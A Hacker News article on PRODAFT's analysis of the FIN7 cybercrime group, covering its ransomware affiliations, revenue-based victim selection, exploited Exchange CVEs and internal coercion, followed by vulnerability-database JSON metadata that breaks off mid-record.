[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgu9YKd02vdFX9q7nH_mj_COAplqIClED8G3-bIqGZfD9uEAVx2YkW4pnR4oTHEKnrj9qtpM11W6mYLnGXvGxEt9IFdVd2PCh0jnop8BOe_IT_acIv-VKs3Q-JjeXkZPvJplINEolBZljwID-Ev26al_uOtbkyFHFd7atp9dyswl66CcZIVuWykjyr6wg/s728-rj-e365/cyber.png>)
An exhaustive analysis of **FIN7** has unmasked the cybercrime syndicate's organizational hierarchy, alongside unraveling its role as an affiliate for mounting ransomware attacks.
It has also exposed deeper associations between the group and the larger threat ecosystem comprising the now-defunct ransomware [DarkSide](<https://thehackernews.com/2022/05/us-proposes-1-million-fine-on-colonial.html>), [REvil](<https://thehackernews.com/2022/05/new-revil-samples-indicate-ransomware.html>), and [LockBit](<https://thehackernews.com/2022/11/amadey-bot-spotted-deploying-lockbit-30.html>) families.
The highly active threat group, also known as Carbanak, is [known](<https://thehackernews.com/2022/04/fin7-hackers-leveraging-password-reuse.html>) for employing an extensive arsenal of tools and tactics to expand its "cybercrime horizons," including adding ransomware to its playbook and setting up fake security companies to lure researchers into conducting ransomware attacks under the guise of penetration testing.
More than 8,147 victims have been compromised by the financially motivated adversary across the world, with a majority of the entities located in the U.S. Other prominent countries include China, Germany, Canada, Italy, and the U.K.
FIN7's intrusion techniques, over the years, have further diversified beyond traditional social engineering to include infected USB drives, software supply chain compromise, and the use of stolen credentials purchased from underground markets.
"Nowadays, its initial approach is to carefully pick high-value companies from the pool of already compromised enterprise systems and force them to pay large ransoms to restore their data or seek unique ways to monetize the data and remote access," PRODAFT [said](<https://www.prodaft.com/resource/detail/fin7-unveiled-deep-dive-notorious-cybercrime-gang>) in a report shared with The Hacker News.
According to the Swiss cybersecurity company, the Russian-speaking hacking crew has also been observed to weaponize several flaws in Microsoft Exchange such as [CVE-2020-0688](<https://thehackernews.com/2021/07/top-30-critical-security.html>), [CVE-2021-42321](<https://thehackernews.com/2021/11/microsoft-issues-patches-for-actively.html>), [ProxyLogon, and ProxyShell](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>) to obtain a foothold into target environments.
[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhXWJSj-lP5zgkimydTc-CwuBckZJpMoZ8KlEOqjTK1s14n8Ry6x7NcJHE6iuaC2p2llH7aphAnF9AGSkY-IMY3ofTAKq1rATS5XB5z-Fnxh6v2Lr3_wmyfCwBsAALRjmoyzwRDHWnMfGyS3UC_ftVWp1CnJeC09vF4HmeUbM2J0Y7BwIeouLTThKTe/s728-rj-e365/fin7.png>)
The use of [double extortion tactics](<https://thehackernews.com/2022/12/cuba-ransomware-extorted-over-60.html>) notwithstanding, attacks mounted by the group have deployed SSH backdoors on the compromised systems, even in scenarios where the victim has already paid a ransom.
The idea is to resell access to other ransomware outfits and re-target the victims as part of its illicit money-making scheme, underscoring its attempts to minimize efforts and maximize profits, not to mention prioritize companies based on their annual revenues, founded dates, and the number of employees.
This "demonstrates a particular type of feasibility study considered a unique behavior among cybercrime groups," the researchers said.
[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh1L6lSPfanTW7NwX9INlkaghoZj0MyjyyCHu7VJ2WOAB0-a8ipVazPaPiLkSPVkIBBeBrgcnwVzrKGh7hIH0N52sNHSgp7Vbg9K4Rqm_6NIALFtTqkkLtv6AkE8lDtTL7ZEb5WVXABPi3XMY0clFfTSBtJq_7t66O_imTe8dVlT7-vL0MHcB3e1LBL/s728-rj-e365/data.png>)
Put differently, the modus operandi of FIN7 boils down to this: It utilizes services like Crunchbase, Dun & Bradstreet (DNB), Owler, and Zoominfo to shortlist firms and organizations with the highest revenue. It also uses other website analytics platforms like MuStat and Similarweb to monitor traffic to the victims' sites.
Initial access is then obtained through one of the many intrusion vectors, followed by exfiltrating data, encrypting files, and eventually determining the ransom amount based on the company's revenue.
[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhQwT6VXETxCd7gYcc7Yd03MnZ7nA_L948mXUJkAgn4SOwbIKEi30eZGf2YXgDN1QA6ak7etSe1368r_b5rgcDyV09jIQcKz5GDMmpp_UKs4886x6Kuq9llZuCFuz8reUq22aBAZ38FrxOOFeTSJLmECsaMukFx9rTLqxuCz3Zl5ijc2Cr1ucglgif1/s728-rj-e365/map.png>)
These infection sequences are also designed to load remote access trojans such as [Carbanak](<https://thehackernews.com/2021/06/fin7-supervisor-gets-7-year-jail-term.html>), [Lizar](<https://thehackernews.com/2021/10/hackers-set-up-fake-company-to-get-it.html>) (aka Tirion), and [IceBot](<https://www.recordedfuture.com/fin7-flash-drives-spread-remote-access-trojan>), the latter of which was first documented by Recorded Future-owned Gemini Advisory in January 2022.
Other tools developed and delivered by FIN7 encompass a module dubbed Checkmarks that's orchestrated to automate mass scans for vulnerable Microsoft Exchange servers and other public-facing web applications as well as [Cobalt Strike](<https://thehackernews.com/2022/11/google-identifies-34-cracked-versions.html>) for post-exploitation.
In yet another indication that criminal groups [function like traditional companies](<https://thehackernews.com/2022/04/researchers-share-in-depth-analysis-of.html>), FIN7 follows a team structure consisting of top-level management, developers, pentesters, affiliates, and marketing teams, each of whom are tasked with individual responsibilities.
While two members named Alex and Rash are the chief players behind the operation, a third managerial member named Sergey-Oleg is responsible for delegating duties to the group's other associates and overseeing their execution.
However, an examination of the group's Jabber conversation history has revealed that operators in administrator positions engage in coercion and blackmail to intimidate team members into working more and issue ultimatums to "hurt their family members in case of resigning or escaping from responsibilities."
The findings come more than a month after cybersecurity company SentinelOne [identified](<https://thehackernews.com/2022/11/researchers-find-links-bw-black-basta.html>) potential links between FIN7 and the Black Basta ransomware operation.
"FIN7 has established itself as an extraordinarily versatile and well-known APT group that targets enterprise companies," PRODAFT concluded. "Their signature move is to thoroughly research the companies based on their revenue, employee count, headquarters and website information to pinpoint the most profitable targets."
"Although they have internal issues related to the unequal distribution of obtained monetary resources and somewhat questionable practices towards their members, they have managed to establish a strong presence in the cybercrime sphere."
Found this article interesting? Follow us on [Twitter __](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.
{"id": "THN:CE51F3F4A94EFC268FD06200BF55BECD", "vendorId": null, "type": "thn", "bulletinFamily": "info", "title": "FIN7 Cybercrime Syndicate Emerges as a Major Player in Ransomware Landscape", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgu9YKd02vdFX9q7nH_mj_COAplqIClED8G3-bIqGZfD9uEAVx2YkW4pnR4oTHEKnrj9qtpM11W6mYLnGXvGxEt9IFdVd2PCh0jnop8BOe_IT_acIv-VKs3Q-JjeXkZPvJplINEolBZljwID-Ev26al_uOtbkyFHFd7atp9dyswl66CcZIVuWykjyr6wg/s728-rj-e365/cyber.png>)\n\nAn exhaustive analysis of **FIN7** has unmasked the cybercrime syndicate's organizational hierarchy, alongside unraveling its role as an affiliate for mounting ransomware attacks.\n\nIt has also exposed deeper associations between the group and the larger threat ecosystem comprising the now-defunct ransomware [DarkSide](<https://thehackernews.com/2022/05/us-proposes-1-million-fine-on-colonial.html>), [REvil](<https://thehackernews.com/2022/05/new-revil-samples-indicate-ransomware.html>), and [LockBit](<https://thehackernews.com/2022/11/amadey-bot-spotted-deploying-lockbit-30.html>) families.\n\nThe highly active threat group, also known as Carbanak, is [known](<https://thehackernews.com/2022/04/fin7-hackers-leveraging-password-reuse.html>) for employing an extensive arsenal of tools and tactics to expand its \"cybercrime horizons,\" including adding ransomware to its playbook and setting up fake security companies to lure researchers into conducting ransomware attacks under the guise of penetration testing.\n\nMore than 8,147 victims have been compromised by the financially motivated adversary across the world, with a majority of the entities located in the U.S. Other prominent countries include China, Germany, Canada, Italy, and the U.K.\n\nFIN7's intrusion techniques, over the years, have further diversified beyond traditional social engineering to include infected USB drives, software supply chain compromise, and the use of stolen credentials purchased from underground markets.\n\n\"Nowadays, its initial approach is to carefully pick high-value companies from the pool of already compromised enterprise systems and force them to pay large ransoms to restore their data or seek unique ways to monetize the data and remote access,\" PRODAFT [said](<https://www.prodaft.com/resource/detail/fin7-unveiled-deep-dive-notorious-cybercrime-gang>) in a report shared with The Hacker News.\n\nAccording to the Swiss cybersecurity company, the Russian-speaking hacking crew has also been observed to weaponize several flaws in Microsoft Exchange such as [CVE-2020-0688](<https://thehackernews.com/2021/07/top-30-critical-security.html>), [CVE-2021-42321](<https://thehackernews.com/2021/11/microsoft-issues-patches-for-actively.html>), [ProxyLogon, and ProxyShell](<https://thehackernews.com/2021/11/hackers-exploiting-proxylogon-and.html>) to obtain a foothold into target environments.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhXWJSj-lP5zgkimydTc-CwuBckZJpMoZ8KlEOqjTK1s14n8Ry6x7NcJHE6iuaC2p2llH7aphAnF9AGSkY-IMY3ofTAKq1rATS5XB5z-Fnxh6v2Lr3_wmyfCwBsAALRjmoyzwRDHWnMfGyS3UC_ftVWp1CnJeC09vF4HmeUbM2J0Y7BwIeouLTThKTe/s728-rj-e365/fin7.png>)\n\nThe use of [double extortion tactics](<https://thehackernews.com/2022/12/cuba-ransomware-extorted-over-60.html>) notwithstanding, attacks mounted by the group have deployed SSH backdoors on the compromised systems, even in scenarios where the victim has already paid a ransom.\n\nThe idea is to resell access to other ransomware outfits and re-target the victims as part of its illicit money-making scheme, underscoring its attempts to minimize efforts and maximize profits, not to mention prioritize companies based on their annual revenues, founded dates, and the number of employees.\n\nThis \"demonstrates a particular type of feasibility study considered a unique behavior among cybercrime groups,\" the researchers said.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEh1L6lSPfanTW7NwX9INlkaghoZj0MyjyyCHu7VJ2WOAB0-a8ipVazPaPiLkSPVkIBBeBrgcnwVzrKGh7hIH0N52sNHSgp7Vbg9K4Rqm_6NIALFtTqkkLtv6AkE8lDtTL7ZEb5WVXABPi3XMY0clFfTSBtJq_7t66O_imTe8dVlT7-vL0MHcB3e1LBL/s728-rj-e365/data.png>)\n\nPut differently, the modus operandi of FIN7 boils down to this: It utilizes services like Crunchbase, Dun & Bradstreet (DNB), Owler, and Zoominfo to shortlist firms and organizations with the highest revenue. It also uses other website analytics platforms like MuStat and Similarweb to monitor traffic to the victims' sites.\n\nInitial access is then obtained through one of the many intrusion vectors, followed by exfiltrating data, encrypting files, and eventually determining the ransom amount based on the company's revenue.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhQwT6VXETxCd7gYcc7Yd03MnZ7nA_L948mXUJkAgn4SOwbIKEi30eZGf2YXgDN1QA6ak7etSe1368r_b5rgcDyV09jIQcKz5GDMmpp_UKs4886x6Kuq9llZuCFuz8reUq22aBAZ38FrxOOFeTSJLmECsaMukFx9rTLqxuCz3Zl5ijc2Cr1ucglgif1/s728-rj-e365/map.png>)\n\nThese infection sequences are also designed to load remote access trojans such as [Carbanak](<https://thehackernews.com/2021/06/fin7-supervisor-gets-7-year-jail-term.html>), [Lizar](<https://thehackernews.com/2021/10/hackers-set-up-fake-company-to-get-it.html>) (aka Tirion), and [IceBot](<https://www.recordedfuture.com/fin7-flash-drives-spread-remote-access-trojan>), the latter of which was first documented by Recorded Future-owned Gemini Advisory in January 2022.\n\nOther tools developed and delivered by FIN7 encompass a module dubbed Checkmarks that's orchestrated to automate mass scans for vulnerable Microsoft Exchange servers and other public-facing web applications as well as [Cobalt Strike](<https://thehackernews.com/2022/11/google-identifies-34-cracked-versions.html>) for post-exploitation.\n\nIn yet another indication that criminal groups [function like traditional companies](<https://thehackernews.com/2022/04/researchers-share-in-depth-analysis-of.html>), FIN7 follows a team structure consisting of top-level management, developers, pentesters, affiliates, and marketing teams, each of whom are tasked with individual responsibilities.\n\nWhile two members named Alex and Rash are the chief players behind the operation, a third managerial member named Sergey-Oleg is responsible for delegating duties to the group's other associates and overseeing their execution.\n\nHowever, an examination of the group's Jabber conversation history has revealed that operators in administrator positions engage in coercion and blackmail to intimidate team members into working more and issue ultimatums to \"hurt their family members in case of resigning or escaping from responsibilities.\"\n\nThe findings come more than a month after cybersecurity company SentinelOne [identified](<https://thehackernews.com/2022/11/researchers-find-links-bw-black-basta.html>) potential links between FIN7 and the Black Basta ransomware operation.\n\n\"FIN7 has established itself as an extraordinarily versatile and well-known APT group that targets enterprise companies,\" PRODAFT concluded. \"Their signature move is to thoroughly research the companies based on their revenue, employee count, headquarters and website information to pinpoint the most profitable targets.\"\n\n\"Although they have internal issues related to the unequal distribution of obtained monetary resources and somewhat questionable practices towards their members, they have managed to establish a strong presence in the cybercrime sphere.\"\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "published": "2022-12-22T13:13:00", "modified": "2022-12-26T11:59:04", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.0}, "severity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://thehackernews.com/2022/12/fin7-cybercrime-syndicate-emerges-as.html", "reporter": "The Hacker News", "references": [], "cvelist": ["CVE-2020-0688", "CVE-2021-42321"], "immutableFields": [], "lastseen": "2022-12-26T12:10:08", "viewCount": 20, "enchantments": {"score": {"value": 1.0, "vector": "NONE"}, "dependencies": {"references": [{"type": "0daydb", "idList": ["0DAYDB:137B89027DF0ADFC87056CE176A77441"]}, {"type": "attackerkb", "idList": ["AKB:0A7DD7B4-3522-4B79-B4A6-3B2A86B2EADE", "AKB:67DD67D3-33BC-455C-98A3-7DD0E1D4613D", "AKB:90047E82-FDD8-47DB-9552-50D104A34230", "AKB:B8A2FA01-8796-4335-8BF4-45147E14AFC9", "AKB:E6BD4207-BAC0-40E1-A4C8-92B6D3D58D4B", "AKB:EA6AD256-9B4E-4DC6-B230-9ADED3EE40C0", "AKB:ED05D93E-5B20-4B44-BAC8-C4CB5B46254A"]}, {"type": "avleonov", "idList": ["AVLEONOV:4FCA3B316DF1BAA7BC038015245D9813", "AVLEONOV:56C5888A0A7E36482CFC39A438BADAB3", "AVLEONOV:6A714F9BC2BBE696D3586B2629169491", "AVLEONOV:C2458CFFC4493B2CEDB0D34243DEBE3F"]}, {"type": "canvas", "idList": ["OWA_RCE"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2020-0104", "CPAI-2021-0906"]}, {"type": "cisa", "idList": ["CISA:18E5825084F7681AD375ACB5B1270280", "CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "cisa_kev", "idList": ["CISA-KEV-CVE-2020-0688", "CISA-KEV-CVE-2021-42321"]}, {"type": "cnvd", "idList": ["CNVD-2021-90307"]}, {"type": "cve", "idList": ["CVE-2020-0688", "CVE-2021-42321"]}, {"type": "exploitdb", "idList": ["EDB-ID:48153", "EDB-ID:48168"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:71F27F0B85E2B8F7A6B9272A3136DA05"]}, {"type": "githubexploit", "idList": ["39732E15-7AF0-5FC2-851B-B63466C0F2F2", "4A657558-ABE9-5708-B292-B836048EF1AD", "55F902F5-E290-577E-A48D-FB56855B1CBB", "796841FC-B75D-5F42-B0E7-7FF15A74E5C1", "8C937DCD-4090-5A44-9361-4D9ECF545843", "A7CA20BB-BCF9-52C0-A708-01F9ADECB1AC", "AAC2853C-A655-5E80-9262-A654102B874A", "AC9BE6BA-8352-57D6-80E3-8BB62A0D31C2", "BE2B1B45-11AE-56F2-A5B4-2497BAE3B016", "F1CA855B-967C-5A5E-9256-FDDE87702713"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156"]}, {"type": "hivepro", "idList": ["HIVEPRO:846AE370AF77A81941A26AF3FC365026", "HIVEPRO:FD730BCAD086DD8C995242D13B38EBC8"]}, {"type": "kaspersky", "idList": ["KLA11664", "KLA12342"]}, {"type": "kitploit", "idList": ["KITPLOIT:1207079539580982634"]}, {"type": "krebs", "idList": ["KREBS:7B6AC3C7BFC3E69830DAE975AA547ADC", "KREBS:95DEE0244F6DE332977BB606555E5A3C", "KREBS:9D9C58DB5C5495B10D2EBDB92549B0F2", "KREBS:DF8493DA16F49CE6247436830678BA8D"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:459DABFC50E1B6D279EDCFD609D8DD50", "MALWAREBYTES:5899EF0CF34937AFA2DB4AB02D282DF6"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_CHAINEDSERIALIZATIONBINDER_RCE-", "MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_ECP_VIEWSTATE-", "MSF:EXPLOIT-WINDOWS-LOCAL-CVE_2020_0787_BITS_ARBITRARY_FILE_MOVE-"]}, {"type": "mscve", "idList": ["MS:CVE-2020-0688", "MS:CVE-2021-26855", "MS:CVE-2021-26857", "MS:CVE-2021-26858", "MS:CVE-2021-27065", "MS:CVE-2021-42321"]}, {"type": "mskb", "idList": ["KB4536987", "KB4536988", "KB4536989", "KB5007409"]}, {"type": "mssecure", "idList": ["MSSECURE:748E6D0B920B699D6D088D0AD4422C46", "MSSECURE:E3C8B97294453D962741782EC959E79C"]}, {"type": "nessus", "idList": ["701277.PRM", "SMB_NT_MS20_FEB_EXCHANGE.NASL", "SMB_NT_MS21_NOV_EXCHANGE.NASL", "SMB_NT_MS21_NOV_EXCHANGE_REMOTE.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:156592", "PACKETSTORM:156620", "PACKETSTORM:158056", "PACKETSTORM:166153", "PACKETSTORM:168131"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "QUALYSBLOG:01C65083E501A6BAFB08FCDA1D561012", "QUALYSBLOG:14FD05969C722B5BF3DBBF48ED6DA9C0", "QUALYSBLOG:282A52EA9B1F4C4F3F084197709217B0", "QUALYSBLOG:95B6925D28299FFFDEA3BD6BA8F3E443", "QUALYSBLOG:9D071EBE42634FFBB58CB68A83252B41", "QUALYSBLOG:CAF5B766E6B0E6C1A5ADF56D442E7BB2", "QUALYSBLOG:DE1FEC2B9B661D42DAA0BA398DBFD24E"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:0C3EDBDC537092A20C850F762D5A5856", "RAPID7BLOG:CBD7A5DA1DAAE9DCFD01F104F4B1B5FB", "RAPID7BLOG:EAEC3BF3C403DB1C2765FD14F0E03A85", "RAPID7BLOG:F128DF1DF900C5377CF4BBF1DFD03A1A"]}, {"type": "securelist", "idList": ["SECURELIST:67C82A057DBE22C60DC2677D52D52ECD", "SECURELIST:91CACDF02C22F17E70A0DC58D036F9DE", "SECURELIST:D0FFA6E46D43B7A592C34676F2EF3EDB", "SECURELIST:F05591B26EFD622E6C72E180A7A47154"]}, {"type": "talosblog", "idList": ["TALOSBLOG:EA0E0FACD93EAC05E55A6C64CC82F3F6"]}, {"type": "taosecurity", "idList": ["TAOSECURITY:CF99A8E68CF7727296D8451EE445844C"]}, {"type": "thn", "idList": ["THN:0E6CD47141AAF54903BD6C1F9BD96F44", "THN:3266EB2F73FA4A955845C8FEBA4E73C5", "THN:3E9680853FA3A677106A8ED8B7AACBE6", "THN:554E88E6A1CE9AFD04BF297E68311306", "THN:80D2DBC4130D9FF314BDC4C19EB5CD4E", "THN:8D0E2C792A85A3FB8EC6A823D487FAE6", "THN:9B536B531E6948881A29BEC793495D1E", "THN:B95DC27A89565323F0F8E6350D24D801", "THN:FD9FEFEA9EB66115FF4BAECDD8C520CB"]}, {"type": "threatpost", "idList": ["THREATPOST:06C5D9E6950186757AA989F2557336B3", "THREATPOST:142DAF150C2BF9EB70ECE95F46939532", "THREATPOST:1925DCFAF239C5B25D21852DB978E8E9", "THREATPOST:21FB6EBE566C5183C8FD9BDA28A56418", "THREATPOST:22663CEB225A1F7F9DD4EBD8B84956C1", "THREATPOST:24AD38597408C4E7757770D45345AEBA", "THREATPOST:2BDC072802830F0CC831DE4C4F1FA580", "THREATPOST:33026719684C7CD1B70B04B1CFFE2AEB", "THREATPOST:333795A46E195AC657D3C50CFAFE7B55", "THREATPOST:3E89058B621DF5B431A387D18E4F398C", "THREATPOST:420EE567E806D93092741D7BB375AC57", "THREATPOST:4B2E19CAF27A3EFBCB2F777C6E528317", "THREATPOST:4C22D22EF8F65F5DA108A15C99CB9F55", "THREATPOST:4D0DF8055D2BC682608C1A746606A6E4", "THREATPOST:4DD624E32718A8990263A37199EEBD02", "THREATPOST:4F1C35A7D4BE774DF9C88794C793181D", "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "THREATPOST:677D5A0A56D06021C8EF30D0361579C6", "THREATPOST:6EA5AB7FCD767A01EA56D7EEF6DA0B0A", "THREATPOST:7BCCC5B4AA7FB7724466FFAB585EC55D", "THREATPOST:891CC19008EEE7B8F1523A2BD4A37993", "THREATPOST:985BD7D2744A9AA9EC43C5DDCD561812", "THREATPOST:99AD02BEC4B8423B8E050E0A4E9C4DEB", "THREATPOST:A298611BE0D737083D0CFFE084BEC006", "THREATPOST:AD8A075328874910E8DCBC149A6CA284", "THREATPOST:B047BB0FECBD43E30365375959B09B04", "THREATPOST:B25070E6CF075EEA6B20C4D8D25ADBE8", "THREATPOST:BD8DD789987BFB9BE93AA8FD73E98B40", "THREATPOST:C23B7DE85B27B6A8707D0016592B87A3", "THREATPOST:CF4E98EC11A9E5961C991FE8C769544E", "THREATPOST:DBA639CBD82839FDE8E9F4AE1031AAF7", "THREATPOST:DDB6E2767CFC8FF972505D4C12E6AB6B", "THREATPOST:DF7C78725F19B2637603E423E56656D4", "THREATPOST:EA093948BFD7033F5C9DB5B3199BEED4", "THREATPOST:EE9C0062A3E6400BAF159BCA26EABB34", "THREATPOST:F54F8338674294DE3D323ED03140CB71", "THREATPOST:F8F0749C57FDD3CABE842BDFEAD33452", "THREATPOST:FE41B3825C6A9EE91B00CDADD2AF9147"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:9BC812C1F699A6136F37C0ACE6451F20"]}, {"type": "zdi", "idList": ["ZDI-20-258"]}, {"type": "zdt", "idList": ["1337DAY-ID-34037", "1337DAY-ID-34051", "1337DAY-ID-34553", "1337DAY-ID-37423", "1337DAY-ID-37920"]}]}, "epss": [{"cve": "CVE-2020-0688", "epss": "0.974270000", "percentile": "0.998750000", "modified": "2023-03-20"}, {"cve": "CVE-2021-42321", "epss": "0.944740000", "percentile": "0.987060000", "modified": "2023-03-20"}], "vulnersScore": 1.0}, "_state": {"score": 1684017724, "dependencies": 1672056667, "epss": 1679354432}, "_internal": {"score_hash": "1232b17f11486209cfeca6733c9eac07"}}
{"mscve": [{"lastseen": "2023-05-23T16:35:31", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-09T08:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2022-06-21T07:00:00", "id": "MS:CVE-2021-42321", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-06-05T15:04:05", "description": "A remote code execution vulnerability exists in Microsoft Exchange Server when the server fails to properly create unique keys at install time.\n\nKnowledge of a the validation key allows an authenticated user with a mailbox to pass arbitrary objects to be deserialized by the web application, which runs as SYSTEM.\n\nThe security update addresses the vulnerability by correcting how Microsoft Exchange creates the keys during install.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-11T08:00:00", "type": "mscve", "title": "Microsoft Exchange Validation Key Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-02-11T08:00:00", "id": "MS:CVE-2020-0688", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0688", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-06-08T16:45:40", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27078.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-02T08:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-0940", "CVE-2018-0941", "CVE-2018-0986", "CVE-2018-8151", "CVE-2018-8152", "CVE-2018-8154", "CVE-2018-8159", "CVE-2018-8265", "CVE-2018-8302", "CVE-2018-8448", "CVE-2018-8581", "CVE-2018-8604", "CVE-2019-0586", "CVE-2019-0588", "CVE-2019-0686", "CVE-2019-0724", "CVE-2019-0817", "CVE-2019-0858", "CVE-2019-1084", "CVE-2019-1136", "CVE-2019-1137", "CVE-2019-1233", "CVE-2019-1266", "CVE-2019-1373", "CVE-2020-0688", "CVE-2020-0692", "CVE-2020-0903", "CVE-2020-16875", "CVE-2020-16969", "CVE-2020-17083", "CVE-2020-17084", "CVE-2020-17085", "CVE-2020-17117", "CVE-2020-17132", "CVE-2020-17141", "CVE-2020-17142", "CVE-2020-17143", "CVE-2020-17144", "CVE-2020-24085", "CVE-2020-26412", "CVE-2020-26854", "CVE-2021-1730", "CVE-2021-24085", "CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "modified": "2021-03-16T07:00:00", "id": "MS:CVE-2021-27065", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": 